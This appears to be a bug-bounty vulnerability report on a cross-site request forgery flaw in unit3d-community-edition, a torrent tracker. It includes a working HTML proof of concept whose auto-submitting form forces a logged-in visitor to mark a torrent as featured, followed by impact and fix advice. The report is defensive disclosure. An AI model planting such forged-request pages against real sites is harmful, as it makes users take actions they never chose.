Cross-Site Request Forgery (CSRF) in hdinnovations/unit3d-community-edition

Valid

Reported on

Sep 23rd 2021

Description

Attacker is able to change a torrents featured state to if a logged in user visits attacker website.

Proof of Concept

When you logged in open this POC.html in a browser.
You can check the torrents state changed to featured.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://unit3d.site/torrents/151/torrent_feature">
    <input type="submit" value="Submit request" />
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

Impact

This vulnerability is capable of forging user to unintentional change torrents state to featured.

Test

Tested on Safari.

Fix

You should set a CSRF token on such GET requests or you can use POST instead of GET then because of cookie SameSite is Lax, request from other origins could not carry cookie.